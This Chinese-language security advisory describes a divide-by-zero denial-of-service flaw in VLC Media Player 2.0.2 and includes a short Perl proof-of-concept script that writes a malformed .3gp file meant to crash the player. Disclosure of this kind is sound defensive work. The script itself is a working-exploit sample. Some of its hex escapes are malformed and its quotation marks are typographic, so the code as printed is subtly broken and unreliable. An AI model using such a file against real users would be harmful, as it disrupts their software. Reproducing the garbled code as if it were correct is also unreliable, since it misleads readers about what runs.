VLC Media Player ‘.3gp’文件除零拒绝服务漏洞

受影响系统:

VideoLAN VLC Media Player 2.0.2

描述:


BUGTRAQ  ID: 54791

VLC Media Player是多媒体播放器(最初命名为VideoLAN客户端)是VideoLAN计划的多媒体播放器。

VLC Media Player 2.0.2及其他版本在实现上存在拒绝服务漏洞,成功利用可允许攻击者造成受影响应用崩溃。

<*来源:Dark-Puzzle
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Dark-Puzzle ()提供了如下测试方法:

#!/usr/bin/perl
my $a =”\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00″;
my $b =”\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70″;
my $c =”\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61\x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27\x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65″;
my $d =”\x33\x67\x70″;

my $file = “darkpuzzle.3gp”;

open ($File, “>$file”);
print $File $a,$b,$c,$d;
close ($File);

建议:


厂商补丁:

VideoLAN
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.videolan.org/

评论关闭。